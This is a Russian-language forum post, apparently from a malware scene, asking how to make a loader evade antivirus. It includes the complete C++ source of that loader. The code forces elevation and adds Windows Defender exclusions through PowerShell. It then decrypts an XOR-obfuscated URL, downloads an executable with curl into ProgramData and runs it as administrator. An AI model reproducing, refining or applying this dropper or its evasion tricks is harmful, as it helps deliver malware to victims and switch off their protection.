Вопрос озвучен в заголовке, ниже пример лоадера который использовал длительное время, изначально его вд даже не детектил, но спусят время начало детектить и решил отбросить этот вид лоадера. Cейчас решил доработать эту идею, какие техники можно применить для скрытия от ав? Либо иные модификации
C++:
#include <windows.h>
#include <iostream>
#include<TlHelp32.h>
#include <cstdlib>
#include <locale>
#include <codecvt>
#include<string>
#include <sstream>
#include <vector>
using namespace std;
bool RunAsAdmin(LPCWSTR programPath, LPCWSTR parameters) {
SHELLEXECUTEINFO sei = { sizeof(sei) };
sei.lpVerb = L"runas";
sei.lpFile = programPath;
sei.lpParameters = parameters;
sei.hwnd = NULL;
sei.nShow = SW_NORMAL;
if (!ShellExecuteEx(&sei)) {
return false;
}
return true;
}
bool IsRunAsAdmin() {
BOOL isAdmin = FALSE;
PSID adminGroup = NULL;
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
if (!AllocateAndInitializeSid(
&NtAuthority,
2,
SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&adminGroup)) {
return false;
}
if (!CheckTokenMembership(NULL, adminGroup, &isAdmin)) {
isAdmin = FALSE;
}
FreeSid(adminGroup);
return isAdmin == TRUE;
}
void RestartAsAdmin() {
wchar_t path[MAX_PATH];
GetModuleFileNameW(NULL, path, MAX_PATH);
SHELLEXECUTEINFO sei = { sizeof(sei) };
sei.lpVerb = L"runas";
sei.lpFile = path;
sei.nShow = SW_NORMAL;
if (!ShellExecuteEx(&sei)) {
DWORD err = GetLastError();
if (err == ERROR_CANCELLED) {
}
}
exit(0);
}
std::wstring StringToWide(const std::string& str) {
if (str.empty()) return L"";
std::wstring_convert<std::codecvt_utf8_utf16<wchar_t>> converter;
return converter.from_bytes(str);
}
bool ExecuteCommand(const std::string& command) {
std::wstring wideCommand = StringToWide(command);
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi;
std::vector<wchar_t> cmdBuffer(wideCommand.begin(), wideCommand.end());
cmdBuffer.push_back(L'\0');
if (!CreateProcessW(
NULL,
cmdBuffer.data(),
NULL,
NULL,
FALSE,
CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi))
{
return false;
}
WaitForSingleObject(pi.hProcess, INFINITE);
DWORD exitCode;
GetExitCodeProcess(pi.hProcess, &exitCode);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return (exitCode == 0);
}
std::string hex_to_bytes(const std::string& hex) {
std::string bytes;
std::istringstream iss(hex);
unsigned int byte;
while (iss >> std::hex >> byte) {
bytes += static_cast<char>(byte);
}
return bytes;
}
std::string bytes_to_hex(const std::string& bytes) {
std::ostringstream oss;
for (unsigned char c : bytes) {
oss << std::hex << (int)c << " ";
}
return oss.str();
}
std::string xor_crypt(const std::string& data, const std::string& key) {
std::string result;
for (size_t i = 0; i < data.size(); ++i) {
result += data[i] ^ key[i % key.size()];
}
return result;
}
bool AddProcessToWD(const char* processName) {
std::wstring wideProcessName(processName, processName + strlen(processName));
std::wstring command = L"powershell -Command \"Add-MpPreference -ExclusionProcess '" + wideProcessName + L"'\"";
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi;
if (!CreateProcessW(
NULL,
const_cast<wchar_t*>(command.c_str()),
NULL,
NULL,
FALSE,
CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi
)) {
return false;
}
WaitForSingleObject(pi.hProcess, INFINITE);
DWORD exitCode;
GetExitCodeProcess(pi.hProcess, &exitCode);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return (exitCode == 0);
}
bool AddToDefenderExclusions(const std::wstring& path) {
std::wstring command = L"powershell -Command \"Add-MpPreference -ExclusionPath '" + path + L"'\"";
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi;
if (!CreateProcessW(
NULL,
const_cast<wchar_t*>(command.c_str()),
NULL,
NULL,
FALSE,
CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi
)) {
return false;
}
WaitForSingleObject(pi.hProcess, INFINITE);
DWORD exitCode;
GetExitCodeProcess(pi.hProcess, &exitCode);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
if (exitCode != 0) {
return false;
}
return true;
}
int main()
{
if (!IsRunAsAdmin()) {
RestartAsAdmin();
return 1;
}
CreateDirectoryA("C:\\ProgramData\\Test", NULL);
std::string key = "XORkey";
std::string hex_data_url = "crypted link"; //сюда вставляется зашифрованная ссылка на скачивание файла
std::string encrypted_bytes_url = hex_to_bytes(hex_data_url);
std::string url = xor_crypt(encrypted_bytes_url, key);
const char* command = "curl -o ";
const char* outputPath = "C:\\ProgramData\\Test\\Test.exe";
const std::string fullCommand = std::string(command) + outputPath + " " + url;
const std::wstring path_to_main = L"C:\\ProgramData\\Test\\Test.exe";
AddToDefenderExclusions(path_to_main);
AddProcessToWD("Test.exe");
Sleep(500);
ExecuteCommand(fullCommand);
RunAsAdmin(L"C:\\ProgramData\\Test\\Test.exe", L"");
return 0;
}
Последнее редактирование:
